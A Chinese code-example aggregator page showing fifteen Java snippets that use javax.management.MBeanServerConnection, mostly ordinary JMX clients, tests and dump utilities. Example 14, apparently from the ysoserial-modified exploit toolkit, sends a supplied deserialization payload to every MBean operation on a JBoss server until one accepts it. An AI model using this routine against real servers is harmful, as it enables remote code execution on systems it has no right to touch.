當前位置: 首頁>>代碼示例>>Java>>正文


Java MBeanServerConnection類代碼示例

本文整理匯總了Java中javax.management.MBeanServerConnection的典型用法代碼示例。如果您正苦於以下問題:Java MBeanServerConnection類的具體用法?Java MBeanServerConnection怎麽用?Java MBeanServerConnection使用的例子?那麽, 這裏精選的類代碼示例或許可以為您提供幫助。


MBeanServerConnection類屬於javax.management包,在下文中一共展示了MBeanServerConnection類的15個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Java代碼示例。

示例1: getWorkManager

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * Obtain the default JBoss JCA WorkManager through a JMX lookup
 * for the JBossWorkManagerMBean.
 * @param mbeanName the JMX object name to use
 * @see org.jboss.resource.work.JBossWorkManagerMBean
 */
public static WorkManager getWorkManager(String mbeanName) {
	Assert.hasLength(mbeanName, "JBossWorkManagerMBean name must not be empty");
	try {
		Class<?> mbeanClass = JBossWorkManagerUtils.class.getClassLoader().loadClass(JBOSS_WORK_MANAGER_MBEAN_CLASS_NAME);
		InitialContext jndiContext = new InitialContext();
		MBeanServerConnection mconn = (MBeanServerConnection) jndiContext.lookup(MBEAN_SERVER_CONNECTION_JNDI_NAME);
		ObjectName objectName = ObjectName.getInstance(mbeanName);
		Object workManagerMBean = MBeanServerInvocationHandler.newProxyInstance(mconn, objectName, mbeanClass, false);
		Method getInstanceMethod = workManagerMBean.getClass().getMethod("getInstance");
		return (WorkManager) getInstanceMethod.invoke(workManagerMBean);
	}
	catch (Exception ex) {
		throw new IllegalStateException(
				"Could not initialize JBossWorkManagerTaskExecutor because JBoss API is not available", ex);
	}
}
 
開發者ID:lamsfoundation,項目名稱:lams,代碼行數:23,代碼來源:JBossWorkManagerUtils.java

示例2: jmxGet

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection,String name) throws Exception {
    String error = null;
    if(isEcho()) {
        handleOutput("MBean " + name + " get attribute " + attribute );
    }
    Object result = jmxServerConnection.getAttribute(
            new ObjectName(name), attribute);
    if (result != null) {
        echoResult(attribute,result);
        createProperty(result);
    } else
        error = "Attribute " + attribute + " is empty";
    return error;
}
 
開發者ID:sunmingshuai,項目名稱:apache-tomcat-7.0.73-with-comment,代碼行數:21,代碼來源:JMXAccessorGetTask.java

示例3: getMBeanServerConnection

import javax.management.MBeanServerConnection; //導入依賴的package包/類
public synchronized MBeanServerConnection
        getMBeanServerConnection(Subject delegationSubject)
        throws IOException {

    if (terminated) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] already closed.");
        throw new IOException("Connection closed");
    } else if (!connected) {
        if (logger.traceOn())
            logger.trace("getMBeanServerConnection","[" + this.toString() +
                    "] is not connected.");
        throw new IOException("Not connected");
    }

    return getConnectionWithSubject(delegationSubject);
}
 
開發者ID:lambdalab-mirror,項目名稱:jdk8u-jdk,代碼行數:19,代碼來源:RMIConnector.java

示例4: testSingleWriter

import javax.management.MBeanServerConnection; //導入依賴的package包/類
@Test
public void testSingleWriter() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName writerObject = getWriterObjectName(mbs);
    final String fileName = StringGenerator.nextRandomString(5);
    final File file = new File(testSpaceDirectory, fileName);
    //set parameter to service
    JmxClientDiscHelper.setByteTarget(mbs,writerObject, (long) (10* TransformValues.MEGABYTE));
    JmxClientDiscHelper.setChunkSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setFileName(mbs,writerObject, fileName);
    JmxClientDiscHelper.setOutputPath(mbs,writerObject,testSpaceDirectory);
    JmxClientDiscHelper.setWriterBufferSize(mbs,writerObject,64000);
    JmxClientDiscHelper.setWriterImplementation(mbs,writerObject, WriterType.BufferedWriter.getKey());
    //set run parameter

    //start a single writer
    JmxClientDiscHelper.startWriter(mbs,writerObject);
}
 
開發者ID:deB4SH,項目名稱:Byter,代碼行數:20,代碼來源:ClientJmxDiscTest.java

示例5: execute

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * Execute the specified command. This logic only performs the common
 * attribute validation required by all subclasses; it does not perform any
 * functional logic directly.
 * 
 * @exception BuildException
 *                if a validation error occurs
 */
@Override
public void execute() throws BuildException {
    if (testIfCondition() && testUnlessCondition()) {
        try {
            String error = null;

            MBeanServerConnection jmxServerConnection = getJMXConnection();
            error = jmxExecute(jmxServerConnection);
            if (error != null && isFailOnError()) {
                // exception should be thrown only if failOnError == true
                // or error line will be logged twice
                throw new BuildException(error);
            }
        } catch (Exception e) {
            if (isFailOnError()) {
                throw new BuildException(e);
            } else {
                handleErrorOutput(e.getMessage());
            }
        } finally {
            closeRedirector();
        }
    }
}
 
開發者ID:liaokailin,項目名稱:tomcat7,代碼行數:33,代碼來源:JMXAccessorTask.java

示例6: t1testStandardVariableOverJMX

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * Test all base variables of the reader jmx interface
 */
@Test
public void t1testStandardVariableOverJMX() throws IOException {
    final JMXConnector connection = getConnection();
    final MBeanServerConnection mbs = getMbeanServer(connection);
    final ObjectName readerObject = getReaderObjectName(mbs);
    //assert path
    final String path = JmxClientReaderHelper.getFilePath(mbs,readerObject);
    Assert.assertEquals(System.getProperty("user.dir"), path);
    //assert filename
    final String filename = JmxClientReaderHelper.getFileName(mbs,readerObject);
    Assert.assertEquals("none", filename);
    //assert chunksize
    final int chunkSize = JmxClientReaderHelper.getChunkSize(mbs,readerObject);
    Assert.assertEquals(8192, chunkSize);
    //assert takeMeasurements
    final String takeMeasurements = JmxClientReaderHelper.getTakeMeasurements(mbs,readerObject);
    final boolean takeMeasurementsAsBoolean = JmxClientReaderHelper.getTakeMeasurementsAsBoolean(mbs,readerObject);
    Assert.assertEquals(true, takeMeasurementsAsBoolean);
    Assert.assertEquals("true", takeMeasurements);
    //assert measurementvolume
    final int measurementVolume = JmxClientReaderHelper.getMeasurementVolume(mbs,readerObject);
    Assert.assertEquals(-1,measurementVolume);
    //assert readertype
    final String readerType = JmxClientReaderHelper.getReaderType(mbs,readerObject);
    final ReaderType readerTypeAsEnum = JmxClientReaderHelper.getReaderTypeAsType(mbs,readerObject);
    Assert.assertEquals(ReaderType.none, readerTypeAsEnum);
    Assert.assertEquals("none", readerType);
}
 
開發者ID:deB4SH,項目名稱:Byter,代碼行數:32,代碼來源:ReaderJmxTest.java

示例7: getTakeMeasurementsAsBoolean

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * get the current state of the TakeMeasurements flag as boolean.
 * @param mbs mbean server
 * @param on client reader object name
 * @return boolean | false is the default value or error value
 */
public static boolean getTakeMeasurementsAsBoolean(final MBeanServerConnection mbs, final ObjectName on){
    String param = getTakeMeasurements(mbs,on);
    if("true".equals(param))
        return true;
    else if("false".equals(param))
        return false;
    else
        log.log(Level.INFO,"JmxClientReaderHelper getTakeMeasurement - JMX returned some weird value for TakeMeasurements: " + param);
    return false;
}
 
開發者ID:deB4SH,項目名稱:Byter,代碼行數:17,代碼來源:JmxClientReaderHelper.java

示例8: doSetRequest

import javax.management.MBeanServerConnection; //導入依賴的package包/類
protected int doSetRequest(MBeanServerConnection mbsc,
                           ObjectName on,
                           boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doSetRequest: Set attributes of the MBean") ;

        Attribute attribute = new Attribute("Attribute", "My value") ;
        mbsc.setAttribute(on, attribute) ;

        if (expectedException) {
            System.out.println("ClientSide::doSetRequest: " +
                "(ERROR) Set did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doSetRequest: (OK) Set succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doSetRequest: " +
                    "(OK) Set failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doSetRequest: " +
                    "(ERROR) Set failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doSetRequest: (ERROR) Set failed");
            errorCount++;
        }
    }
    return errorCount;
}
 
開發者ID:AdoptOpenJDK,項目名稱:openjdk-jdk10,代碼行數:39,代碼來源:AuthorizationTest.java

示例9: AgentLoggerJMXProxy

import javax.management.MBeanServerConnection; //導入依賴的package包/類
public AgentLoggerJMXProxy(IAgentId agentName, MBeanServerConnection mbsc, ObjectName parentName) {
    super(agentName);
    this.mbsc = mbsc;
    this.parentName = parentName;
    ObjectName objectName = AgentLogger.getJMXAgentLoggerName(parentName);        
    this.agentLoggerProxy = new DynamicProxy(objectName, mbsc); 
}
 
開發者ID:kefik,項目名稱:Pogamut3,代碼行數:8,代碼來源:AgentLoggerJMXProxy.java

示例10: call

import javax.management.MBeanServerConnection; //導入依賴的package包/類
public MBeanServerConnection call() {
    MBeanServer mbs = MBeanServerFactory.newMBeanServer();
    try {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        JMXConnectorServer cs =
            JMXConnectorServerFactory.newJMXConnectorServer(
                url, null, mbs);
        cs.start();
        JMXServiceURL addr = cs.getAddress();
        connector = JMXConnectorFactory.connect(addr);
        return connector.getMBeanServerConnection();
    } catch (IOException e) {
        throw new RuntimeException(e);
    }
}
 
開發者ID:AdoptOpenJDK,項目名稱:openjdk-jdk10,代碼行數:16,代碼來源:OldMBeanServerTest.java

示例11: doCreateRequest

import javax.management.MBeanServerConnection; //導入依賴的package包/類
protected int doCreateRequest(MBeanServerConnection mbsc,
                              ObjectName on,
                              boolean expectedException) {
    int errorCount = 0;

    try {
        Utils.debug(Utils.DEBUG_STANDARD,
            "ClientSide::doCreateRequest: Create and register the MBean") ;

        mbsc.createMBean("Simple", on) ;

        if (expectedException) {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create did not fail with expected SecurityException");
            errorCount++;
        } else {
            System.out.println("ClientSide::doCreateRequest: (OK) Create succeed") ;
        }
    } catch(Exception e) {
        Utils.printThrowable(e, true) ;
        if (expectedException) {
            if (e instanceof java.lang.SecurityException) {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(OK) Create failed with expected SecurityException") ;
            } else {
                System.out.println("ClientSide::doCreateRequest: " +
                    "(ERROR) Create failed with " +
                    e.getClass() + " instead of expected SecurityException");
                errorCount++;
            }
        } else {
            System.out.println("ClientSide::doCreateRequest: " +
                "(ERROR) Create failed");
            errorCount++;
        }
    }
    return errorCount;
}
 
開發者ID:AdoptOpenJDK,項目名稱:openjdk-jdk10,代碼行數:39,代碼來源:AuthorizationTest.java

示例12: dumpConnection

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * Dumps a local or remote MBeanServer's entire object tree for support purposes. Nested arrays and CompositeData
 * objects in MBean attribute values are handled.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 */
public static void dumpConnection(MBeanServerConnection connection, PrintWriter out) throws IOException
{
    JmxDumpUtil.showStartBanner(out);
    
    // Get all the object names
    Set<ObjectName> objectNames = connection.queryNames(null, null);

    // Sort the names (don't assume ObjectName implements Comparable in JDK 1.5)
    Set<ObjectName> newObjectNames = new TreeSet<ObjectName>(new Comparator<ObjectName>()
    {
        public int compare(ObjectName o1, ObjectName o2)
        {
            return o1.toString().compareTo(o2.toString());
        }
    });
    newObjectNames.addAll(objectNames);
    objectNames = newObjectNames;

    
    // Dump each MBean
    for (ObjectName objectName : objectNames)
    {
        try
        {
            printMBeanInfo(connection, objectName, out);
        }
        catch (JMException e)
        {
            // Sometimes beans can disappear while we are examining them
        }
    }
}
 
開發者ID:Alfresco,項目名稱:alfresco-repository,代碼行數:44,代碼來源:JmxDumpUtil.java

示例13: printMBeanInfo

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * Dumps the details of a single MBean.
 * 
 * @param connection
 *            the server connection (or server itself)
 * @param objectName
 *            the object name
 * @param out
 *            PrintWriter to write the output to
 * @throws IOException
 *             Signals that an I/O exception has occurred.
 * @throws JMException
 *             Signals a JMX error
 */
private static void printMBeanInfo(MBeanServerConnection connection, ObjectName objectName, PrintWriter out)
        throws IOException, JMException
{
    Map<String, Object> attributes = new TreeMap<String, Object>();
    MBeanInfo info = connection.getMBeanInfo(objectName);
    attributes.put("** Object Name", objectName.toString());
    attributes.put("** Object Type", info.getClassName());
    for (MBeanAttributeInfo element : info.getAttributes())
    {
        Object value;
        if (element.isReadable())
        {
            try
            {
                value = connection.getAttribute(objectName, element.getName());
            }
            catch (Exception e)
            {
                value = JmxDumpUtil.PROTECTED_VALUE;
            }
        }
        else
        {
            value = JmxDumpUtil.PROTECTED_VALUE;
        }
        attributes.put(element.getName(), value);
    }
    if (objectName.getCanonicalName().equals("Alfresco:Name=SystemProperties"))
    {
        String osName = (String) attributes.get(OS_NAME);
        if (osName != null && osName.toLowerCase().startsWith("linux"))
        {
            attributes.put(OS_NAME, updateOSNameAttributeForLinux(osName));
        }
    }
    tabulate(JmxDumpUtil.NAME_HEADER, JmxDumpUtil.VALUE_HEADER, attributes, out, 0);
}
 
開發者ID:Alfresco,項目名稱:alfresco-repository,代碼行數:52,代碼來源:JmxDumpUtil.java

示例14: doExploit

import javax.management.MBeanServerConnection; //導入依賴的package包/類
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
開發者ID:pimps,項目名稱:ysoserial-modified,代碼行數:37,代碼來源:JBoss.java

示例15: jmxGet

import javax.management.MBeanServerConnection; //導入依賴的package包/類
/**
 * @param jmxServerConnection
 * @param name
 * @return The value of the given named attribute
 * @throws Exception
 */
protected String jmxGet(MBeanServerConnection jmxServerConnection, String name) throws Exception {
	String error = null;
	if (isEcho()) {
		handleOutput("MBean " + name + " get attribute " + attribute);
	}
	Object result = jmxServerConnection.getAttribute(new ObjectName(name), attribute);
	if (result != null) {
		echoResult(attribute, result);
		createProperty(result);
	} else
		error = "Attribute " + attribute + " is empty";
	return error;
}
 
開發者ID:how2j,項目名稱:lazycat,代碼行數:20,代碼來源:JMXAccessorGetTask.java


注:本文中的javax.management.MBeanServerConnection類示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。